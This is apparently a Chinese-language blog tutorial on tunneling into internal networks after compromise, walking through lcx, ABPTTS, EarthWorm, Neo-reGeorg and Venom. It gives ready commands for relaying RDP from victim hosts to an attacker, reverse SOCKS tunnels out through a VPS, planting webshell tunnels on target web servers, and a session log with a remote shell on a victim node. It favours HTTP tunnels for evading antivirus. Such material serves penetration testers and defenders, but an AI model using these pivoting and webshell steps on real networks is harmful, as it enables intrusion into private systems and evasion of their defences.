内网穿透
学习内网穿透涉及到2个概念
1、正向代理
2、反向代理
3、端口转发
4、端口映射
正向代理
正向代理即是客户端代理,代理客户端,服务端不知道实际发起请求的客户端。
vpn
就是很好的一个例子,因为我们国内的ip
是无法访问google
的,那么我们都需要设置一个代理服务器,也就是vpn
,我们才可以访问到google
,那么这个过程就是正向代理,过程解析如下。
反向代理
反向代理即是服务器端代理,代理服务器,客户端不知道实际提供服务的服务器。
比如nginx
,客户端访问想要服务器的8080端口,可是服务器的8080端口不对外开发,这里通过nginx代理端口,将所有访问80端口的流量都转发到8080端口,这样客户端只需要访问80端口就相当于访问了服务器的8080端口。这里代理的是服务器
端口转发
使用lcx
进行端口转发
简单来说就是,a
机器我可以执行命令,但是我想连接他的3389
,但是禁止外网连接,那么我们可以用lcx
来把3389
端口的流量,转发到我们机器的其他端口,比如5555
端口,然后连接只要连接127.0.0.1:5555
就可以连接a
机器的3389
了。
把lcx
上传到目标服务器(比如我们可以把lcx.exe
上传到www.xxx.com
地址,然后lcx.exe
就变成了www.xxx.com/lcx.exe
,然后在目标机器上执行wget
讲起下载到目标服务器)
然后执行如下命令
1 | 本机:lcx.exe -listen 51 33891 注意:本机必须要外网服务器,就是别人可以访问你的ip |
2 | 目标服务器:lcx.exe -slave 公网ip 51 目标服务器ip 3389 |
本机执行的命令意思为:
利用lcx.exe
监听本地51
端口,然后将其转发到33891
端口
目标服务器执行的命令为:
利用lcx.exe
去连接本机ip
的51
端口,并且将目标服务器的3389
端口转发给他
攻击机:
受害机:
然后直接连接
攻击机的33891
端口即可
使用abptts进行端口转发
这个工具是走HTTP隧道的
安装
1 | git clone https://github.com/nccgroup/ABPTTS.git |
2 | apt install python‐setuptools |
3 | apt install python‐pip |
4 | pip install ‐‐upgrade pip |
5 | python ‐m pip install pycrypto |
6 | python ‐m pip install pycryptodome |
7 | python ‐m pip install httplib |
8 | |
9 | cd ABPTTS |
10 | python abpttsfactory.py ‐o webshell |
用法
1 | 靶机 192.168.31.99 放置webshell |
2 | 攻击机 192.168.31.138 python abpttsclient.py -c webshell\config.txt -u "http://192.168.31.99/abptts.aspx" -f 127.0.0.1:2233/192.168.31.99:22 |
3 | # 将靶机的22端口转发到本地的2233端口 |
这个工具只能asp
和jsp
环境所以没有利用环境,口头描述啦,可以自行去看相关文章
端口映射
比如你拿下的内网机器禁止3389
出网或者只能特定机器连接的时候,我们可以将3389
端口转到其他端口。
1 | lcx.exe -tran 映射端口 连接IP(可以是127.0.0.1,但是连接的时候必须要是外网可以请求的ip) 连接端口 |
然后连接他的33899
端口即连接他的3389
端口了
跨平台网络穿透工具-EarthWorm
1 | ew参数 |
2 | |
3 | ‐h 查看帮助 |
4 | ‐s 指定链路状态(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、 lcx_tran) |
5 | ssocksd:正向socks5代理连接; |
6 | rcsocks、rssocks:反向socks5代理连接; |
7 | lcx_slave、lcx_listen:端口转发; |
8 | lcx_tran:端口映射; |
9 | ‐l 开放指定端口监听; |
10 | ‐d 指定转发或反弹的主机地址; |
11 | ‐e 指定转发或反弹的主机端口; |
12 | ‐f 指定连接或映射的主机地址; |
13 | ‐g 指定连接或映射的主机端口; |
14 | ‐t 设置超时时间,默认为10000毫秒,即10秒(单位毫秒,‐h显示有误); |
15 | ‐v 显示版本; |
16 | ‐a 显示关于页面; |
普通网络环境
1 | 目标边界有内外网IP,且可访问外网,但不能和我们服务器相同。 |
正向socks5
此时的网络环境:目标网络边界存在公网IP
且可任意开监听端口
比如某个服务是内网才可以连接的,然后在拿下的内网服务器开启他的1080
端口的socket
代理,然后使用本机代理就可以直接连接他内网服务
开启1080
端口的socket
代理
1 | ew -s ssocksd -l 1080 |
然后设置代理为连接IP:1080
,window
可以用shadowsocks
,linux
下修改/etc/proxychains.conf
设置代理为目标网络,如图
那么这个时候,你请求什么,都等同于,开启了代理的服务器请求了的。
然后使用代理扫描目标服务器开放的端口
1 | proxychains nmap ip -Pn -A |
反向socks5
此时的网络环境:当目标网络边界(Client)
不存在公网 IP
,需要通过反弹方式创建socks
代理,简单来说就是目标服务器是内网IP
,但能访问外网。
1 | VPS服务器: ew -s rcsocks -l 1080 -e 555 # 将本机的555端口的流量都转发给1080端口,这里1080端口只是用于传输流量 |
2 | 目标服务器: ew -s rssocks -d VPS服务器IP -e 555 # 连接VPS服务器的555端口,表示开一个通道给他 |
3 | |
4 | 然后在VPS服务器上配置proxychains代理链的配置文件,将代理设置成 127.0.0.1 的1080端口:socks5 127.0.0.1 1080 |
5 | 然后命令前面加上 proxychains即可。如:proxychains curl 192.168.99.99 |
二级网络环境
0x1
此时的网络环境:
1 | 服务器A:192.168.31.133 |
2 | 服务器B:192.168.31.138(内网IP),10.99.91.19(公网IP) |
3 | |
4 | A是内部主机,无法访问公网。 |
5 | B有双网卡,有内外网IP,且可以自由开监听端口。 |
我们有A
、B
权限,但是我们想访问A
主机的内网服务的话可以这样操作
在A
主机上开启监听端口为6666
的socks
代理
1 | ew -s ssocksd -l 6666 |
在B
主机上将1080
端口收到的socks
代理请求转发给A
主机的6666
端口
1 | ew -s lcx_tran -l 1080 -f 192.168.31.133 -g 6666 |
简单来说就是A
无法访问,然后我们通过可以访问A
的B
来做VPN
服务器,就可以访问A
了。
0x2
此时的网络环境:
1 | 服务器A:192.168.31.133 |
2 | 服务器B:192.168.31.138 |
3 | VPS服务器:10.11.91.19 |
4 | |
5 | 服务器A是目标内部主机,无法访问外网。 |
6 | 服务器B是目标边界主机,无公网IP,但能访问外网。 |
7 | |
8 | 思路:在服务器A上走代理通过服务器B出去到VPS |
在VPS
上添加转接隧道,将1080
收到的代理请求转交给反连6666
端口的主机
1 | ew -s lcx_listen -l 1080 -e 6666 |
在A
服务器上监听7777
端口的的socks
代理
1 | ew -s ssocksd -l 7777 |
在B服务器上开通A
服务器和VPS
之间的连接隧道
1 | ew -s lcx_slave -d 10.11.91.19 -e 6666 -f 192.168.31.133 -g 7777 |
然后连接VPS
服务器的1080
端口就可以访问服务器A
了。
NeoreGeorg
这是一个走HTTP
流量的工具,所以需要上传脚本到WEB
服务器然后连接
安装需要的库
1 | python -m pip install requires |
2 | python -m pip install chardet |
3 | python -m pip install certifi |
4 | python -m pip install idna |
5 | python -m pip install pysocks |
6 | python -m pip install requests |
正向socks代理
1 | 目标边界: 192.168.31.99 放置WEBSHELL |
2 | 攻击机: 192.168.31.138 python3 neoreg.py -k 123456 -u http://192.168.31.99/tunnel.php |
Step1. 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php)
并上传到目标边界的WEB
服务器
1 | root@onlyfree:~/Neo-reGeorg# python3 neoreg.py generate -k 123456 |
2 | |
3 | |
4 | "$$$$$$'' 'M$ '$$$@m |
5 | :$$$$$$$$$$$$$$''$$$$' |
6 | '$' 'JZI'$$& $$$$' |
7 | '$$$ '$$$$ |
8 | $$$$ J$$$$' |
9 | m$$$$ $$$$, |
10 | $$$$@ '$$$$_ Neo-reGeorg |
11 | '1t$$$$' '$$$$< |
12 | '$$$$$$$$$$' $$$$ version 1.1.0 |
13 | '@$$$$' $$$$' |
14 | '$$$$ '$$$@ |
15 | 'z$$$$$$ @$$$ |
16 | r$$$ $$| |
17 | '$$v c$$ |
18 | '$$v $$v$$$$$$$$$# |
19 | $$x$$$$$$$$$twelve$$$@$' |
20 | @$$$@L ' '<@$$$$$$$$` |
21 | $$ '$$$ |
22 | |
23 | |
24 | [ Github ] https://github.com/L-codes/neoreg |
25 | |
26 | [+] Mkdir a directory: neoreg_server |
27 | [+] Create neoreg server files: |
28 | => neoreg_server/tunnel.ashx |
29 | => neoreg_server/tunnel.js |
30 | => neoreg_server/tunnel.tomcat.5.jspx |
31 | => neoreg_server/tunnel.php |
32 | => neoreg_server/tunnel.jsp |
33 | => neoreg_server/tunnel.tomcat.5.jsp |
34 | => neoreg_server/tunnel.aspx |
35 | => neoreg_server/tunnel.nosocket.php |
36 | => neoreg_server/tunnel.jspx |
Step2. 然后会生成neoreg_server
目录,里面放置的是tunnel
Step3. 然后在目标WEB
服务器的根目录放PHP
脚本,这里如果目标是JAVA
环境那么要上传JSP
脚本,我这里测试环境搭建的是phpstudy
所以用的PHP
Step4. 在使用 neoreg.py
连接WEB
服务器,在本地建立 socks
代理
1 | python3 neoreg.py -k password -u 放置tunnel的地址 |
然后代理192.168.31.138
的1080
端口就可以了
venom
下载地址:
自行找吧(●’◡’●)
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。
Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。
渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。
反向socks代理
1 | 目标边界: 192.168.31.98 agent.exe -rhost 192.168.31.138 -rport 12345 |
2 | 攻击机: 192.168.31.138 ./admin_linux_x86 ‐lport 12345 |
因为这款工具是交互式的,用法如下
1 | root@onlyfree:~/Venom v1.1.0# ./admin_linux_x86 -lport 12345 |
2 | Venom Admin Node Start... |
3 | |
4 | ____ ____ { v1.1 author: Dlive } |
5 | \ \ / /____ ____ ____ _____ |
6 | \ Y // __ \ / \ / \ / \ |
7 | \ /\ ___/| | ( <_> ) Y Y \ |
8 | \___/ \___ >___| /\____/|__|_| / |
9 | \/ \/ \/ |
10 | |
11 | (admin node) >>> |
12 | [+]Remote connection: 192.168.31.99:61765 |
13 | [+]A new node connect to admin node success |
14 | (admin node) >>> |
15 | (admin node) >>> goto 1 |
16 | node 1 |
17 | (node 1) >>> shell |
18 | You can execute commands in this shell :D, 'exit' to exit. |
19 | Microsoft Windows [�汾 10.0.17763.973] |
20 | (c) 2018 Microsoft Corporation����������Ȩ���� |
21 | |
22 | C:\Users\19000\Desktop\������\tools\������\Venom.v1.1.0\Venom v1.1.0>whoami |
23 | whoami |
24 | fuck\19000 |
25 | |
26 | C:\Users\19000\Desktop\������\tools\������\Venom.v1.1.0\Venom v1.1.0>exit |
27 | exit |
28 | (node 1) >>> socks 10010 |
29 | a socks5 proxy of the target node has started up on the local port 10010. |
30 | (node 1) >>> |
暂时先记录那么多,等有更好的工具也会更新的。
正向代理个人偏好:NeoreGeorg(因为走的HTTP隧道,比较不会杀)
反向代理个人偏好:venom
端口转发个人偏好:abptts(也是HTTP隧道)